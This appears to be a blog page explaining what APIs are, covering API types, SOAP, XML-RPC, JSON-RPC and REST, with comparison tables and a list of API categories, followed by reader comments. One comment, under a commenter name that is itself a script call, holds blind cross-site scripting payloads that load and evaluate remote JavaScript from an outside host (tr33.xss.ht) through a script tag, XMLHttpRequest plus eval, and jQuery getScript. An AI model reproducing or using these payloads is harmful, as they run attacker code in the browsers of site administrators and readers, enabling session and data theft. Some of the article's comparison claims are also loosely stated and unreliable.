What is an API?
API stands for Application Programming Interface, which is a mechanism that allows the interaction between two applications using a set of rules.
Browse the Best Free APIs List
Main types of Web APIs
There are four main types of APIs:
- Open APIs: Also known as Public API, there are no restrictions to access these types of APIs because they are publicly available.
- Partner APIs: A developer needs specific rights or licenses in order to access this type of API because they are not available to the public.
- Internal APIs: Also known as Private APIs, only internal systems expose this type of API. These are usually designed for internal use within a company. The company uses this type of API among the different internal teams to be able to improve its products and services.
- Composite APIs: This type of API combines different data and service APIs. It is a sequence of tasks that run synchronously as a result of the execution, and not at the request of a task. Its main uses are to speed up the process of execution and improve the performance of the listeners in the web interfaces.
Web service APIs
Apart from the main web APIs, there are also web service APIs:
A web service is a system or software that uses an address, i.e., URL on the World Wide Web, to provide access to its services.
The following are the most common types of web service APIs:
- SOAP (Simple Object Access Protocol): This is a protocol that uses XML as a format to transfer data. Its main function is to define the structure of the messages and methods of communication. It also uses WSDL, or Web Services Definition Language, in a machine-readable document to publish a definition of its interface.
- XML-RPC: This is a protocol that uses a specific XML format to transfer data compared to SOAP that uses a proprietary XML format. It is also older than SOAP. XML-RPC uses minimum bandwidth and is much simpler than SOAP. Example
<employees> <employee> <firstName>Becky</firstName> <lastName>Smith</lastName>
- JSON-RPC: This protocol is similar to XML-RPC but instead of using XML format to transfer data it uses JSON. Example
{"employees":[ { "firstName":"Becky", "lastName":"Smith" },
- REST (Representational State Transfer): REST is not a protocol like the other web services, instead, it is a set of architectural principles. The REST service needs to have certain characteristics, including simple interfaces, which are resources identified easily within the request and manipulation of resources using the interface.
What are the differences between SOAP and REST?
SOAP | REST |
It has strict rules and advanced security to follow. | There are loose guidelines to follow allowing developers to make recommendations easily |
It is driven by Function | It is driven by Data |
It requires more Bandwidth | It requires minimum Bandwidth |
What are the differences between JSON and XML?
JSON | XML |
Supports only text and numbers. | Supports various types of data for example text, numbers, images, graphs, charts etc. |
Focuses mainly on Data | Focuses mainly on Document. |
It has low security | It has more security |
Types of APIs by Category
- Weather
- Sports
- SMS
- Food & Restaurant
- Music
- News
- Dictionary
- Travel
- Real Estate
- IP Geolocation
- Coupon
- Video Games
- Alcohol
- Cryptocurrency
- Anime & Manga
- Events
- Machine Learning
- Payments
- Mapping
- NFL
- Analytics
- NLP
- Facial Recognition
- Search
- Finance
- Cloud
- Blogging
- Shipping
- Streaming
- Animation
- Booking
- Emotion
- OCR
- Company Information
- Text Summarization
- Chat
- Data
- Math
- IP & Domain
- Wiki
- HTML5
Synverse says
good information in the written blog
HUNTER says
perpect
$.getScript("//tr33.xss.ht") says
#TEST#
“>
javascript:eval(‘var a=document.createElement(\’script\’);a.src=\’https://tr33.xss.ht\’;document.body.appendChild(a)’)
“>
“>
“>
“>
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener(“load”, b);a.open(“GET”, “//tr33.xss.ht”);a.send();
$.getScript(“//tr33.xss.ht”)
Syed says
Perfect!